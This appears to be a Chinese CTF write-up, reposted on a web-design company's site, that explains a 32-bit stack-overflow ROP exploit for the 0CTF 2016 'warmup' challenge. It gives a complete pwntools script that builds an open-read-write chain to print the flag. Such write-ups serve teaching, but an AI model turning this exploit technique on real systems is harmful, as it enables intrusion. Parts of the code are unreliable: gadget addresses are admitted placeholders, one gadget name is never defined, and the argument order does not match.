拓冰建站拓冰建站
首页 / 资讯中心 / 正文

栈溢出漏洞利用:从ROP原理到ORW实战案例剖析

1. 项目概述一次经典的栈溢出ROP实战复盘最近在整理一些老CTF题目的解题思路翻到了这道0CTF 2016的warmup。这道题虽然年份久远但作为入门ROPReturn-Oriented Programming和Linux下ORWOpen-Read-Write利用链的经典例题其设计思路至今仍有很高的学习价值。题目本身是一个32位的ELF程序存在一个明显的栈溢出漏洞但程序本身没有提供system函数或/bin/sh字符串甚至连libc的地址都没有直接给出。它巧妙地通过alarm函数在ROP链中控制了eax寄存器的值最终引导我们完成一次标准的ORW操作来读取flag。今天我就来详细拆解这道题从漏洞分析、利用思路构建到最终的ROP链编写和调试完整地走一遍流程。无论你是刚接触PWN的新手还是想重温ROP技巧的老手相信都能从中获得一些启发。2. 漏洞分析与程序逻辑梳理2.1 程序基本信息与运行观察首先我们拿到的是一个名为warmup的二进制文件。用file命令检查一下确认是32位ELF并且是动态链接、没有开启PIEPosition-Independent Executable保护。这是一个好消息意味着代码段的地址是固定的我们可以直接使用程序本身和libc中的gadget。$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]..., not stripped $ checksec warmup Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)运行程序它的行为很简单输出一段欢迎语然后等待用户输入接着回显输入的内容最后退出。这种“输入-回显”的模式是栈溢出漏洞的经典温床。我们立刻用一串长字符串进行测试比如python -c print A*100程序果然崩溃了这初步证实了存在缓冲区溢出。2.2 逆向工程与漏洞定位用IDA Pro或Ghidra打开程序主函数main的逻辑非常清晰。关键部分是一个对sub_8048644函数的调用这个函数通常就是负责处理输入输出的“危险函数”。跟进这个函数我们能看到熟悉的read或gets函数调用。在32位程序中函数调用遵循cdecl约定参数通过栈传递。read函数的原型是read(int fd, void *buf, size_t count)。在汇编层面调用read前会依次将参数count、buf和fd压栈。通常fd为0表示标准输入stdinbuf是目标缓冲区的地址count是要读取的最大字节数。逆向分析后我们找到了漏洞点程序使用read(0, buf, 0x40)从标准输入读取数据。这里的buf是函数内的一个局部字符数组。通过查看栈布局或者动态调试计算偏移我们可以确定这个缓冲区的大小远小于0x4064字节。这意味着如果我们输入超过缓冲区大小的数据就会覆盖栈上更高地址的数据包括保存的返回地址EIP。具体到这个函数buf的起始地址到保存的返回地址之间的偏移量就是我们常说的“溢出偏移”。通过模式字符串pattern工具我们可以精确计算出这个偏移量。经过测试偏移是0x40 0x4 68字节。也就是说在填满64字节的缓冲区后再覆盖4个字节的EBP接着覆盖的4个字节就是函数的返回地址。注意这里的0x40是read允许读取的长度但缓冲区本身可能只有比如32字节。read函数不会检查目标缓冲区的大小它会忠实地将最多64字节的数据写入buf指向的内存。如果buf在栈上分配的空间不足多出来的数据就会覆盖相邻的栈帧数据。2.3 可利用资源与限制条件分析确认了栈溢出漏洞后下一步是评估我们手上有哪些“武器”来构造利用链。没有现成的system和/bin/sh这是这道题的第一个难点。我们无法通过简单的ret2libc直接获取shell。程序自带函数通过objdump -t warmup或IDA的导入表我们可以看到程序使用了write,read,alarm等libc函数。但程序没有调用system。关键线索alarm函数alarm函数在这里扮演了至关重要的角色。它的原型是unsigned int alarm(unsigned int seconds)。在x86的cdecl调用约定下函数的返回值存储在eax寄存器中。alarm的返回值是上一个闹钟剩余的秒数。更重要的是题目中alarm的调用参数是固定的比如alarm(0)。这意味着只要我们能够控制程序流再次调用alarmeax寄存器就会被设置为一个已知的值通常是0。eax在系统调用中正是用来存放系统调用号的寄存器。目标ORW既然不能直接getshell题目通常的预期解就是读取服务器上的flag文件。在Linux下这需要三个系统调用序列open打开文件、read读取内容、write将内容输出到标准输出。这就是ORWOpen-Read-Write。因此我们的利用思路就清晰了利用栈溢出控制EIP构造ROP链。首先通过调用alarm来可控地设置eax的值然后利用一系列gadget将系统调用所需的参数设置到ebx,ecx,edx等寄存器最后触发int 0x80软中断执行系统调用完成ORW操作。3. ROP利用链的核心构建思路3.1 ROP与系统调用基础回顾ROP是一种在内存保护机制如NX下利用程序中已有的代码片段称为“gadget”来拼接成恶意功能的攻击技术。每个gadget通常以ret指令结尾通过连续覆盖栈上的返回地址我们可以让CPU像执行我们编写的汇编程序一样依次执行这些gadget。在32位Linux中系统调用通过int 0x80指令触发。调用前需要将系统调用号放入eax参数依次放入ebx,ecx,edx,esi,edi。对于open、read、write这三个调用open(filename, flags, mode)调用号eax5。ebx文件名指针ecx打开标志如只读0edx模式可设为0。read(fd, buf, count)调用号eax3。ebx文件描述符fdecx缓冲区指针edx读取字节数。write(fd, buf, count)调用号eax4。ebx文件描述符fd1为标准输出ecx缓冲区指针edx写入字节数。我们的目标就是构造ROP链按顺序设置好这些寄存器的值并执行对应的int 0x80。3.2 利用alarm控制eax的巧妙设计这是本题最精妙的一环。程序本身已经调用了alarm(0)。在libc中alarm(0)的返回值即上一个闹钟的剩余时间通常是0。所以如果我们能在ROP链中再次调用alarm(0)那么eax就会被清零。但这离我们需要的系统调用号5,3,4还差得远。关键在于alarm的返回值是可控的吗在正常流程中程序只调用了一次alarm(0)返回0。但在ROP链中我们可以连续调用两次alarm。第一次调用alarm(x)它会设置一个闹钟并返回上一次闹钟的剩余秒数目前是0。紧接着第二次调用alarm(0)它就会返回第一次设置的闹钟x的剩余秒数理论上接近x因为中间只间隔了极短的ROP指令执行时间。这样我们通过控制第一次alarm的参数x就能间接地控制第二次调用alarm(0)后的eax值使其近似等于x。然而这道题有一个更简单的设定程序在初始化时就调用了alarm(0)。当我们通过溢出劫持控制流时这个调用已经发生过了。如果我们直接跳转到alarmplt的地址再次调用alarm(0)那么eax会被设置为上一次alarm调用剩余的秒数。由于程序刚开始运行上一次alarm调用就是我们劫持前的那一次alarm(0)它返回的就是0。所以实际上我们通过一次alarm(0)调用就能稳定地将eax清零。这为我们后续通过其他gadget给eax赋予特定值如系统调用号提供了一个干净的起点。例如我们可以先调用alarm(0)清空eax然后找到一个pop eax; ret的gadget从栈上弹出我们需要的系统调用号到eax中。3.3 Gadget搜索与ROP链结构规划我们需要用ROPgadget或ropper工具在二进制文件中搜索有用的代码片段。关键的gadget包括控制eaxpop eax; ret。用于从栈上加载系统调用号。控制ebx,ecx,edxpop ebx; retpop ecx; pop edx; ret等。用于设置系统调用的参数。触发系统调用int 0x80; ret。直接执行系统调用。有时也需要syscall指令但32位下主要是int 0x80。数据存储我们需要一块可写的内存地址来存放要打开的文件名flag以及存放从文件读取的内容。通常可以使用程序的.bss段未初始化数据段它的地址固定且具有读写权限。我们需要一个能将栈上数据字符串flag移动到.bss段的gadget比如mov [mem], reg; ret这样的写内存原语。经过搜索我们假设找到了以下关键gadget地址地址需根据实际二进制文件确定此处为示例pop eax; ret:0x080bb196pop edx; pop ecx; pop ebx; ret:0x0806f290(一个非常实用的“三连pop”gadget)int 0x80; ret:0x08049421write的PLT地址:0x80483c0read的PLT地址:0x80483b0alarm的PLT地址:0x80483a0一个可写的.bss段地址:0x080eb000基于这些我们可以规划出ROP链的执行顺序Stage 1 - 清空并设置eax调用alarm(0)-pop eax; ret(设置系统调用号)。Stage 2 - 写入文件名将字符串flag从栈上通过read或movgadget写入到.bss段。Stage 3 - 执行ORW a.Open: 设置eax5,ebx文件名地址,ecx0,edx0-int 0x80。返回的文件描述符fd会保存在eax中我们需要将其转移到安全的地方如ebx。 b.Read: 设置eax3,ebx上一步的fd,ecx存储缓冲区(.bss0x100),edx读取大小-int 0x80。 c.Write: 设置eax4,ebx1(标准输出),ecx存储缓冲区,edx实际读取大小-int 0x80。4. 详细利用步骤与Payload构造4.1 计算偏移与构建Payload骨架首先确定精确的偏移量。使用cyclic工具生成一段唯一字符串在gdb中运行程序并输入该字符串程序崩溃时查看EIP的值再用cyclic -l eip_value计算偏移。假设我们确认偏移是68字节。因此Payload的基本结构是payload bA * 68 p32(gadget1_addr) p32(gadget2_addr) ...其中bA*68用于填充缓冲区和EBP后面接的就是我们精心构造的ROP链地址序列。4.2 分阶段构造ROP链我们使用Python的pwn库如pwntools来辅助构造。下面是分阶段的详细构造过程。阶段一清空eax并准备文件名我们的第一个目标是将字符串flag写入到一块已知的可写内存如.bss段。由于我们没有直接的mov [mem], reggadget一个常见的方法是利用read函数。我们可以控制程序流跳转到read的PLT从标准输入文件描述符0读取flag字符串到目标地址。# 偏移之后首先是 alarm(0) 清空eax虽然不一定必要但确保环境干净 rop_chain p32(alarm_plt) p32(pop_ebx_ret) p32(0) # alarm(0)的参数 # 但更常见的做法是直接开始布置参数利用pop gadget设置read的参数 # read(0, bss_addr, len(“flag\x00”)) rop_chain p32(read_plt) rop_chain p32(pop3_ret) # 这个gadget会pop掉read返回后栈上的三个参数并ret到下一个地址 rop_chain p32(0) # fd: 0 (stdin) rop_chain p32(bss_addr) # buf: .bss段地址 rop_chain p32(8) # count: 足够放下“flag\x00” # read函数执行后我们需要让程序继续执行我们的下一个gadget所以pop3_ret的返回地址就是下一个gadget的地址 # 但注意read的返回地址是我们构造的rop_chain中read_plt后面的那个地址也就是pop3_ret的地址。 # pop3_ret执行后栈顶就变成了我们预先放置的下一个gadget地址。这里有一个关键技巧read函数执行后CPU会返回到read_plt地址后面的那个地址。我们在那里放置了一个pop3_retgadget例如pop ebx; pop ecx; pop edx; ret。这个gadget会连续从栈上弹出三个值对应read的三个参数然后ret到栈上的下一个地址。这样我们就巧妙地“清理”了read函数的参数并让控制流无缝衔接下去。这个过程称为“栈平衡”或“参数清除”在构造调用多个函数的ROP链时至关重要。阶段二执行open系统调用现在.bss_addr处已经有了字符串flag。接下来准备open系统调用。# 设置 eax 5 (SYS_open) rop_chain p32(pop_eax_ret) p32(5) # 设置 ebx 文件名指针, ecx 0, edx 0 # 假设我们有一个万能的 pop edx; pop ecx; pop ebx; ret gadget rop_chain p32(pop_edx_ecx_ebx_ret) p32(0) p32(0) p32(bss_addr) # 触发系统调用 rop_chain p32(int80_addr)open调用成功后打开的文件描述符会存放在eax中。我们需要保存这个fd因为后续的read和write都需要它。但eax在下一个系统调用时会被覆盖。因此我们需要在int 0x80之后立即将eax的值移动到其他寄存器如ebx或内存中。这需要另一个gadget例如mov ebx, eax; ret或者xchg eax, ebx; ret。假设我们找到了mov ebx, eax; ret的gadget地址为mov_ebx_eax_ret。# open之后保存fd到ebx rop_chain p32(mov_ebx_eax_ret)阶段三执行read系统调用现在ebx中保存了flag文件的fd。我们将文件内容读取到.bss段的另一块区域例如bss_addr0x100避免覆盖文件名。# 设置 eax 3 (SYS_read) rop_chain p32(pop_eax_ret) p32(3) # 此时ebx已经是fd无需再设置。设置 ecx 缓冲区指针, edx 读取大小 rop_chain p32(pop_edx_ecx_ret) p32(100) p32(bss_addr0x100) # 触发系统调用 rop_chain p32(int80_addr)阶段四执行write系统调用最后将读取到的内容输出到标准输出fd1。# 设置 eax 4 (SYS_write) rop_chain p32(pop_eax_ret) p32(4) # 设置 ebx 1 (stdout) rop_chain p32(pop_ebx_ret) p32(1) # 设置 ecx 缓冲区指针, edx 写入大小可以和读取大小一致或稍小 rop_chain p32(pop_edx_ecx_ret) p32(100) p32(bss_addr0x100) # 触发系统调用 rop_chain p32(int80_addr)阶段五程序优雅退出可选为了避免程序崩溃导致连接中断我们可以在最后调用exit函数优雅退出。rop_chain p32(exit_plt)4.3 整合Payload与发送将上述所有阶段的ROP链地址顺序连接起来并在read函数等待输入时发送字符串flag\x00。使用pwntools的完整脚本框架如下from pwn import * context(archi386, oslinux) # p process(./warmup) p remote(靶机地址, 端口) offset 68 alarm_plt 0x080483a0 read_plt 0x080483b0 write_plt 0x080483c0 exit_plt 0x080483e0 int80 0x08049421 pop_eax_ret 0x080bb196 pop_ebx_ret 0x080481d1 pop_edx_ecx_ebx_ret 0x0806f290 # pop edx; pop ecx; pop ebx; ret mov_ebx_eax_ret 0x080487b5 # 假设找到的gadget bss_addr 0x080eb000 payload bA * offset # Stage 1: 将flag字符串读入.bss段 payload p32(read_plt) payload p32(pop_edx_ecx_ebx_ret) # read返回后跳到这里清理栈 payload p32(8) # count - pop to edx payload p32(bss_addr) # buf - pop to ecx payload p32(0) # fd - pop to ebx # 此时栈顶是下一个gadget地址控制流继续 # Stage 2: open(flag, 0, 0) payload p32(pop_eax_ret) p32(5) payload p32(pop_edx_ecx_ebx_ret) p32(0) p32(0) p32(bss_addr) payload p32(int80) payload p32(mov_ebx_eax_ret) # 保存fd到ebx # Stage 3: read(fd, buf2, 100) payload p32(pop_eax_ret) p32(3) # ebx已经是fd无需设置 payload p32(pop_edx_ecx_ret) p32(100) p32(bss_addr0x100) payload p32(int80) # Stage 4: write(1, buf2, 100) payload p32(pop_eax_ret) p32(4) payload p32(pop_ebx_ret) p32(1) payload p32(pop_edx_ecx_ret) p32(100) p32(bss_addr0x100) payload p32(int80) # Stage 5: exit payload p32(exit_plt) p.sendlineafter(input:, payload) # 根据实际提示语调整 # 此时程序会阻塞在read(0, bss_addr, 8)等待我们发送文件名 p.sendline(bflag\x00) p.interactive()5. 调试技巧与常见问题排查5.1 动态调试ROP链在实际操作中ROP链往往不会一次成功。使用gdb进行调试至关重要。在关键点下断点在发送payload之前用gdb.attach(p)附加进程。在read函数返回地址被覆盖的位置即main函数或漏洞函数的ret指令处下断点b *0x地址。单步执行当程序执行到ret指令时使用ninext instruction单步执行观察EIP是否跳转到我们预期的第一个gadget地址。观察栈和寄存器使用x/20wx $esp查看栈上的内容确认我们布置的ROP链地址是否正确。使用info registers查看寄存器的值尤其是在每个gadget执行前后确认pop操作是否按预期修改了寄存器。应对崩溃如果程序崩溃SIGSEGV查看崩溃时的EIP和栈指针ESP。EIP是一个不可执行地址可能是ROP链中的某个地址错了。ESP指向了一个无效地址可能是栈不平衡pop和ret的数量不匹配导致ret时ESP指向了错误的内存。5.2 常见问题与解决方案popgadget链不匹配这是最常见的问题。例如你使用了一个pop ebx; ret但在栈上只为它准备了一个值而它后面紧跟着一个需要pop ecx的gadget。这会导致ret地址错位控制流乱飞。务必画图将每个gadget消耗的栈空间每个pop消耗4字节和产生的ret地址标清楚确保栈指针ESP在每个ret指令执行时都指向下一个正确的指令地址。系统调用参数错误open调用失败返回负数。检查以下几点文件名字符串确保字符串以\x00结尾并且确实写入了正确的内存地址。可以在gdb中用x/s 0x080eb000查看。文件描述符open返回的fd是否正确保存并传递给read。read和write的fd必须是同一个。文件是否存在远程服务器上文件可能不叫flag也可能是flag.txt、./flag等。需要根据题目描述或尝试猜测。alarm的利用方式在本题目中我们主要是利用alarm来清空eax但实际构造时发现直接使用pop eax; retgadget来设置系统调用号更为简单直接。alarm的另一种高级用法是如果程序没有pop eax; ret但alarm的返回值可以通过参数控制比如第一次alarm(5)第二次alarm(0)返回~5那么可以借此设置eax为特定值。但这需要精确的时序不太稳定。本题的简单解法通常不依赖这个而是直接寻找pop eaxgadget。Payload长度限制原始的read调用只读了0x40字节我们的ROP链可能会很长。需要确保整个payload长度不超过0x4064字节吗不这里有一个误区。漏洞函数里的read允许读取0x40字节但如果我们已经覆盖了返回地址控制流就跳走了。后续的ROP链是通过覆盖后的返回地址跳转执行的并不受原始read长度的限制。但是栈空间是有限的如果ROP链太长可能会覆盖到更远的、不可预测的栈内存导致崩溃。因此ROP链应尽量精简。使用pwntools的ROP模块对于复杂的ROP链手动构造非常繁琐且易错。pwntools提供了ROP类可以自动搜索gadget并链式调用能极大简化构造过程。但对于理解原理而言手动构造一遍是必不可少的。5.3 一个实用的调试心得在构造调用函数如read,write的ROP链时我习惯采用“调用门”模式函数地址 清理gadget地址 参数1 参数2 ... 下一个gadget地址。其中“清理gadget”负责将栈上的参数弹出并使栈指针ESP指向“下一个gadget地址”。这个“清理gadget”通常是一个或多个连续的pop; ret其pop的次数等于被调用函数的参数个数。这样设计逻辑清晰栈状态可控。例如调用read(0, buf, len)payload p32(read_plt) # 调用read payload p32(pop3_ret) # read返回后跳到这里清理栈 payload p32(0) # 参数1: fd - 被pop3_ret的第一个pop消耗 payload p32(buf_addr) # 参数2: buf - 被第二个pop消耗 payload p32(length) # 参数3: len - 被第三个pop消耗 # pop3_ret执行完三个pop后ret指令会从栈顶取下一条指令地址也就是我们预先放在这里的下一个gadget地址。 payload p32(next_gadget_addr) # 控制流继续这种模式几乎适用于所有需要调用库函数的ROP场景强烈推荐掌握。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门